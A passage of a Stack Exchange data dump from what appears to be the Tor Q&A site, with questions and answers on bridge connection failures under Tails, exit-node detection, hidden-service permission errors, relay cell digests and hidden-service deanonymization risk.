Title="Please review my connection log errors" Tags="|security|tails|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9811" PostTypeId="2" ParentId="9808" CreationDate="2016-03-06T04:41:30.727" Score="1" Body="&lt;p&gt;From the tor protocol whitepaper: &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow&quot;&gt;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Relay cells&lt;/strong&gt;. Once Alice has established the circuit (so she shares keys with&#xA;  each OR on the circuit), she can send relay cells.  Upon re-&#xA;  ceiving a relay cell, an OR looks up the corresponding circuit,&#xA;  and decrypts the relay header and payload with the session&#xA;  key for that circuit. If the cell is headed away from Alice the&#xA;  OR then checks whether the decrypted cell has a valid digest&#xA;  (as an optimization, the first two bytes of the integrity check&#xA;  are zero, so in most cases we can avoid computing the hash).&#xA;  &lt;strong&gt;If valid, it accepts the relay cell and processes it as described&#xA;  below. Otherwise, the OR looks up the circID and OR for the&#xA;  next step in the circuit&lt;/strong&gt;, replaces the circID as appropriate, and&#xA;  sends the decrypted relay cell to the next OR. (If the OR at&#xA;  the end of the circuit receives an unrecognized relay cell, an&#xA;  error has occurred, and the circuit is torn down.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Bold emphasis mine.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend reading the whole section of Relay cells in the linked paper. The idea is that tor packets (&quot;cells&quot;) are designed with a hash/signature (&quot;digest&quot;) that will only be valid for the data after the last node in your circuit decrypts it. Middle nodes will find that the signature is invalid and know to send it further down the line.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2016-03-06T04:41:30.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9812" PostTypeId="2" ParentId="9809" CreationDate="2016-03-06T13:58:04.140" Score="0" Body="&lt;p&gt;It's a filter for sure. You're using bridges, and they're filtered. Add some extra bridges WITH keys and try again&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-06T13:58:04.140" CommentCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="9817" PostTypeId="1" CreationDate="2016-03-07T13:42:06.130" Score="2" ViewCount="257" Body="&lt;p&gt;I was trying to signup for a service provided by a website using Tor, the website prevented me and asked me to disable my proxy settings, he noticed me with the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our checks indicate that you are connecting through a proxy at the moment. Please disable your proxy settings first and then try again. Thank you!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then I tried a VPN connection with normal browser without any proxy settings, but the website still gives me the same notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can the website server detect my anonymity-based connection (Tor or VPN), what is the interpretation?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to overcome this issue?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12063" LastEditorUserId="88" LastEditDate="2016-03-07T16:32:58.427" LastActivityDate="2016-03-07T16:32:58.427" Title="How can website server recognize incoming Tor or VPN connection?" Tags="|anonymity|vpn|blocked-services|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9818" PostTypeId="2" ParentId="9817" CreationDate="2016-03-07T15:20:34.967" Score="5" Body="&lt;p&gt;The list of exit nodes is &lt;a href=&quot;https://check.torproject.org/exit-addresses&quot;&gt;well known&lt;/a&gt; so it's trivial for any system to look up into that list and see if any incoming connection comes from any of them.&lt;/p&gt;&#xA;" OwnerUserId="12067" LastActivityDate="2016-03-07T15:20:34.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9819" PostTypeId="1" CreationDate="2016-03-07T21:52:39.817" Score="2" ViewCount="139" Body="&lt;p&gt;I have the Tor Browser Bundle on Linux. When I start to type in a&#xA;text box in the browser I often get shifted immediately to a&#xA;new tab with some advertising. It doesn't happen every time, and&#xA;in particular if I kill the advertising tab and go back to the&#xA;original tab, I can type without hindrance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea whats causing this?&lt;/p&gt;&#xA;" OwnerUserId="12073" LastActivityDate="2016-03-07T22:06:31.660" Title="Typing in Tor Browser opens an advertising tab" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9820" PostTypeId="2" ParentId="9819" CreationDate="2016-03-07T22:06:31.660" Score="3" Body="&lt;p&gt;Did you check that you have a legitimate version of Tor? (Using the Checksums provided etc) Sounds like either your browser was compromised or you installed a faulty add on.&lt;/p&gt;&#xA;" OwnerUserId="12074" LastActivityDate="2016-03-07T22:06:31.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9822" PostTypeId="1" CreationDate="2016-03-08T04:25:49.947" Score="1" ViewCount="535" Body="&lt;p&gt;I don't really understand why I have this problem.&#xA;I managed to get TorR connected with bridges with no problem at all with Windows 7, but with Tails it is impossible. I use the same configuration with the same bridges, on the same computer, LAN connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the log with Tail:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;03/03/2016 23:17:14.800 [NOTICE] New control connection opened from 127.0.0.1. &#xA;03/03/2016 23:17:15.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening Socks listener on 127.0.0.1:9062 &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:17:15.700 [NOTICE] Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:17:15.700 [NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot; &#xA;03/03/2016 23:17:16.100 [NOTICE] New control connection opened from 127.0.0.1. &#xA;03/03/2016 23:17:18.100 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;03/03/2016 23:17:18.100 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;03/03/2016 23:18:01.100 [WARN] Proxy Client: unable to connect to XX.XXX.XX.XX:XXXXX (&quot;server rejected connection&quot;) &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9062 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;03/03/2016 23:18:17.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9062 &#xA;03/03/2016 23:18:17.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;03/03/2016 23:18:48.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:18:48.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:18:48.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening Socks listener on 127.0.0.1:9062 &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:18:48.900 [NOTICE] Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:19:33.100 [WARN] Proxy Client: unable to connect to XX.XXX.XX.XX:XXXXX (&quot;server rejected connection&quot;) &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9062 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;03/03/2016 23:19:48.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing old Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing old DNS listener on 127.0.0.1:5353 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9050 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9061 &#xA;03/03/2016 23:19:48.700 [NOTICE] Closing old Socks listener on 127.0.0.1:9062&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On this log you can see 2 attempt of connection, the first one went until 10% and the second nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried different bridges but always the same issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very appreciated.&#xA;Thank you &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok as requested here are more information&#xA;Log with windows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 11 09:58:08.000 [notice] Tor 0.2.7.6 (git-7a489a6389110120) opening new log file.&#xA;Mar 11 09:58:08.764 [notice] Tor v0.2.7.6 (git-7a489a6389110120) running on Windows 7 with Libevent 2.0.22-stable, OpenSSL 1.0.1s and Zlib 1.2.8.&#xA;Mar 11 09:58:08.765 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Mar 11 09:58:08.767 [notice] Read configuration file &quot;C:\Users\Fabrice\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc-defaults&quot;.&#xA;Mar 11 09:58:08.767 [notice] Read configuration file &quot;C:\Users\Fabrice\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc&quot;.&#xA;Mar 11 09:58:08.777 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Mar 11 09:58:08.777 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Mar 11 09:58:08.000 [warn] Your log may contain sensitive information - you're logging more than &quot;notice&quot;. Don't log unless it serves an important reason. Overwrite the log afterwards.&#xA;Mar 11 09:58:08.000 [notice] Parsing GEOIP IPv4 file C:\Users\Fabrice\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip.&#xA;Mar 11 09:58:09.000 [notice] Parsing GEOIP IPv6 file C:\Users\Fabrice\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6.&#xA;Mar 11 09:58:09.000 [notice] Bootstrapped 0%: Starting&#xA;Mar 11 09:58:09.000 [notice] new bridge descriptor 'Unnamed' (cached): $292B444C54D8CAB7345C326652D437736CEDD6AD~Unnamed at XX.XXX.XX.Xx&#xA;Mar 11 09:58:09.000 [notice] new bridge descriptor 'anonymouse' (cached): $80FCA5A349AE7E5C2C8503BFB908D4204FDB9C3E~anonymouse at XX.XXX.XX.Xx&#xA;Mar 11 09:58:09.000 [notice] new bridge descriptor 'Unnamed' (cached): $F7D29A1373E9DA9AFE30801C26E328AE721CF0A1~Unnamed at XX.XXX.XX.Xx&#xA;Mar 11 09:58:09.000 [notice] new bridge descriptor 'anonymouse' (cached): $80FCA5A349AE7E5C2C8503BFB908D4204FDB9C3E~anonymouse at xxx.xxx.xxx.xxx&#xA;Mar 11 09:58:09.000 [notice] Delaying directory fetches: Pluggable transport proxies still configuring&#xA;Mar 11 09:58:09.000 [notice] New control connection opened from 127.0.0.1.&#xA;Mar 11 09:58:09.000 [notice] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;Mar 11 09:58:09.000 [notice] Tor 0.2.7.6 (git-7a489a6389110120) opening log file.&#xA;Mar 11 09:58:09.000 [notice] New control connection opened from 127.0.0.1.&#xA;Mar 11 09:58:16.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Mar 11 09:58:16.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Mar 11 09:58:29.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection&#xA;Mar 11 09:58:29.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus&#xA;Mar 11 09:58:37.000 [warn] Proxy Client: unable to connect to 194.132.208.103:56401 (&quot;general SOCKS server failure&quot;)&#xA;Mar 11 09:58:42.000 [notice] Bootstrapped 25%: Loading networkstatus consensus&#xA;Mar 11 09:59:01.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Mar 11 09:59:01.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Mar 11 09:59:04.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Mar 11 09:59:04.000 [notice] Bootstrapped 100%: Done&#xA;Mar 11 09:59:05.000 [notice] New control connection opened from 127.0.0.1.&#xA;Mar 11 09:59:05.000 [notice] New control connection opened from 127.0.0.1.&#xA;Mar 11 09:59:08.000 [notice] Owning controller connection has closed -- exiting now.&#xA;Mar 11 09:59:08.000 [notice] Catching signal TERM, exiting cleanly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;torrc&lt;/code&gt; with Tails&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AutomapHostsOnResolve 1&#xA;AutomapHostsSuffixes .exit,.onion&#xA;AvoidDiskWrites 1&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx 7511D85C2D2AFF0DAEF3C9092E337175B75350CA cert=… iat-mode=0&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx 343F50C3399BD32FC24D0309C59C7EB095527656 cert=… iat-mode=0&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx D2A4BA27287EFDCBC80AA00B254C815E4607DA6F cert=… iat-mode=0&#xA;ClientTransportPlugin obfs2,obfs3,obfs4 exec /usr/bin/obfs4proxy managed&#xA;ControlListenAddress 127.0.0.1&#xA;ControlPort 9051&#xA;DNSPort 5353&#xA;HiddenServiceStatistics 0&#xA;Log info file /var/log/tor/log&#xA;WarnUnsafeSocks 0&#xA;RunAsDaemon 0&#xA;SocksPort 127.0.0.1:9050 IsolateDestAddr IsolateDestPort&#xA;SocksPort 127.0.0.1:9061 IsolateDestAddr&#xA;SocksPort 127.0.0.1:9062 IsolateDestAddr IsolateDestPort&#xA;SocksPort 127.0.0.1:9150 IsolateSOCKSAuth KeepAliveIsolateSOCKSAuth&#xA;TransListenAddress 127.0.0.1&#xA;TransPort 9040&#xA;UseBridges 1&#xA;WarnPlaintextPorts 23,109&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Torcc with Windows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx 292B444C54D8CAB7345C326652D437736CEDD6AD cert=… iat-mode=0&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx F7D29A1373E9DA9AFE30801C26E328AE721CF0A1 cert=… iat-mode=0&#xA;Bridge obfs4 xxx.xxx.xxx.xxx:xxxxx 80FCA5A349AE7E5C2C8503BFB908D4204FDB9C3E cert=… iat-mode=0&#xA;DataDirectory C:\Users\xxx\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\xxx\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\xxx\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;Log notice file c:\Users\xxx\Desktop\Tor Browser\notice.log&#xA;HiddenServiceStatistics 0&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed there are many differences between those last two but I am not familiar enough with all those options to understand what's wrong.&lt;/p&gt;&#xA;" OwnerUserId="12077" LastEditorUserId="88" LastEditDate="2016-04-29T17:45:40.363" LastActivityDate="2016-04-29T17:45:40.363" Title="Tor gets connected with Windows but not with Tail (with the same bridges)" Tags="|configuration|tails|bridge|pluggable-transports|" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="9825" PostTypeId="1" AcceptedAnswerId="9827" CreationDate="2016-03-08T07:54:36.713" Score="2" ViewCount="1145" Body="&lt;p&gt;I've done some looking for my problem and I've learned a bit but still get the same result. The &quot;result&quot; is when I uncomment my hidden service lines in my torrc, tor will not start and not produce any logs. When I comment them all is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I was using just the browser, trying to start a hidden service there. I read an article from someone having similar experiences and went to &lt;code&gt;#tor&lt;/code&gt; channel on irc. They went to &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html.en&lt;/a&gt; and installed the tor package. I did too. I chose option 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already downloaded apache2, php5 and mysql. I followed instructions to make each more secure. I have a test web page. In my tor browser after disabling the proxy for 127.0.0.1 I can view my webpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I had it installed I then proceeded to &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-hidden-service.html.en&lt;/a&gt; . Where I have already been trying to configure my browser. I was on IRC earlier tonight but no one could help. We went over things more thoroughly... the only thing I can think of is permissions but am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Versions&lt;/strong&gt;&lt;pre&gt;&#xA;Ubuntu 14.04&#xA;Tor v0.2.7.6&#xA;Libevent 2.0.21&#xA;OpenSSL 1.0.1f&#xA;Zlib 1.2.8&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File Ownership&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/var/lib/tor/hidden_service (drwx--S---)&lt;/code&gt; - &lt;code&gt;debian-tor:debian-tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/var/lib/tor/hidden_service/srv (drwxr-s---)&lt;/code&gt; - &lt;code&gt;debian-tor:debian-tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/etc/tor/torrc (-rw-r--r--)&lt;/code&gt; - &lt;code&gt;root:root&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure what the difference between the upper- and lowercase S is. Or why &lt;code&gt;srv&lt;/code&gt; has group read. (Might've been something I did just don't remember.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not a member of the &lt;code&gt;debian-tor&lt;/code&gt; group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Starting/Stopping&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo service tor [start|stop|restart]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Config files&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without my attempt to run a hidden service they are unchanged. To run a hidden service I uncommented the lines in the &lt;code&gt;/etc/tor/torrc&lt;/code&gt; file and changed them to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/hidden_service/srv&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That was my only change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Output&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restarting the daemon with the original torrc file I get two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Stopping tor daemon...                   [OK]&#xA; * Starting tor daemon...                   [OK]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Uncommenting the hidden service lines and restarting I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Checking if your tor configuration is valid&#xA;&amp;lt;date&amp;gt; [notice] Tor v0.2.7.6 running on Linux with Libevent 2.0... blah blah&#xA;&amp;lt;date&amp;gt; [notice] Tor can't help you if you use it wrong... blah blah&#xA;&amp;lt;date&amp;gt; [notice] Read configuration file &quot;/usr/share/tor/tor-service-defaults-torrc&quot;.&#xA;&amp;lt;date&amp;gt; [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;&amp;lt;date&amp;gt; [warn] Permissions on directory/var/lib/tor/hidden_service/srv are too permissive.&#xA;&amp;lt;date&amp;gt; [warn] Failed to parse/validate config: Failed to configure rendezvous options. See logs for details.&#xA;&amp;lt;date&amp;gt; [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is if I remove my log file and restart with hidden services enabled... I get no log. However as soon as I recomment the lines and restart I now have a log file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="12078" LastActivityDate="2016-03-08T17:04:40.697" Title="Troubles setting up Hidden Service" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9827" PostTypeId="2" ParentId="9825" CreationDate="2016-03-08T17:04:40.697" Score="1" Body="&lt;p&gt;Try &lt;a href=&quot;https://superuser.com/a/509127/320232&quot;&gt;unsetting the &lt;code&gt;setgid&lt;/code&gt;&lt;/a&gt; bit on your directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're &lt;a href=&quot;https://tor.stackexchange.com/a/9133/1730&quot;&gt;aiming for permissions&lt;/a&gt; of either &lt;code&gt;600&lt;/code&gt; or &lt;code&gt;700&lt;/code&gt;. The &lt;code&gt;setgid&lt;/code&gt; bit is presumably a security concern as it indicates other users might have execute permissions on someone else's files.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-03-08T17:04:40.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9828" PostTypeId="1" CreationDate="2016-03-08T20:59:53.647" Score="0" ViewCount="143" Body="&lt;p&gt;When a relay or HSP broadcasts its key (non exit node), how does a TOR client find it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is the propagation of exit nodes and relay nodes (or HSPs) shared?&lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2016-04-07T01:41:05.217" Title="How does the TOR propagation of nodes work?" Tags="|relays|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9829" PostTypeId="2" ParentId="8598" CreationDate="2016-03-09T10:52:17.383" Score="1" Body="&lt;p&gt;There are multiple factors and tradeoffs at play here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, how many Tor instances are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest protection against deanonymization are the guard nodes of your Tor instance, the number of which doesn't change when you increase the number of hidden services you're running as long as you use the same Tor instance. If you spin up many Tor instances to host your hidden services (which may be necessary due to scalability issues/guard node overloading), you're picking many different guards, thus massively increasing your chance of being deanonymized. This trumps any other effects that I discuss below, so let's assume all hidden services use the same Tor instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next effect is that when you run many hidden services, you spread out your hidden service descriptors all across the network, so your adversary is sure to find it if they run any hidden service directories. This is a limitation of the current hidden service design, and is scheduled to be fixed in a later version of Tor with the next-generation hidden service protocol. If you publicise your hidden service addresses, this effect is negligible as your adversary has other means of learning them. Why does it matter, though?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the guard you picked wants to learn whether you're responsible for a given hidden services, it can do a timing-based confirmation attack when it has your .onion address by simply connecting to it (possibly multiple times) and observing your traffic. This is made slightly easier by the choice to reduce the number of guards Tor uses by default (but that decreases the chance of picking an evil guard in the first place).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next is the sheer number of users. If you have a fixed amount of users, and they either all use the same hidden service or each uses their own, the total number of client connections to hidden services does not increase. These connections are an attack vector for your guard to identify a link between you and your users. By hosting all hidden services on the same machine, it becomes easier to link your users together once you are deanonymized.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-09T10:52:17.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9830" PostTypeId="1" CreationDate="2016-03-09T11:49:46.090" Score="1" ViewCount="1167" Body="&lt;p&gt;Tor has been working fine for ages, but after prompting to upgrade itself can no longer start, constantly saying that it had 'unexpectedly exited'. I looked here and the advice was to delete the folder but that's proved impossible, with many files locked, and trying to copy the log file produced a blank document. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I looked here and the other advice was to reinstall, so I tried that but once again got errors&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error opening file for writing: &lt;code&gt;Tor\libevent-2-0-5.dll&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I'm totally stuck. I've got bits of the first installation that can't be deleted and half a reinstall. Help!&lt;/p&gt;&#xA;" OwnerUserId="12086" LastEditorUserId="88" LastEditDate="2016-03-09T13:43:33.757" LastActivityDate="2017-10-29T23:15:17.873" Title="Tor completely broken on Windows 10 after upgrade" Tags="|windows|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9831" PostTypeId="2" ParentId="8598" CreationDate="2016-03-09T22:26:51.773" Score="0" Body="&lt;p&gt;The deanonymization can be done by &lt;strong&gt;just one&lt;/strong&gt; badly configured service. So - the quantity &lt;em&gt;does not matter&lt;/em&gt; at all. If you have enough resources+bandwidth - you're welcome. The reason for this answer is pretty simple : hidden services &lt;strong&gt;does not see each other&lt;/strong&gt; - it's like STunnel setup...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-03-09T22:26:51.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9834" PostTypeId="2" ParentId="9036" CreationDate="2016-03-10T21:42:33.093" Score="3" Body="&lt;p&gt;This is a known issue with Tor metrics that shouldn't occur anymore. What happened was that partial data for a given date was included in the graph generation. When you look at the metrics website now, the issue is gone.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T21:42:33.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9835" PostTypeId="2" ParentId="8873" CreationDate="2016-03-10T21:45:31.687" Score="1" Body="&lt;p&gt;Instead of doing this all manually, you might want to try out Chutney (&lt;a href=&quot;https://gitweb.torproject.org/chutney.git/&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/chutney.git/&lt;/a&gt;) to set up a private network for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question directly, you need to create a dummy configuration. The following will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirServer test 127.0.0.1:1 0000000000000000000000000000000000000000&#xA;OrPort 1&#xA;DataDirectory /path/to/directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2016-03-10T21:45:31.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
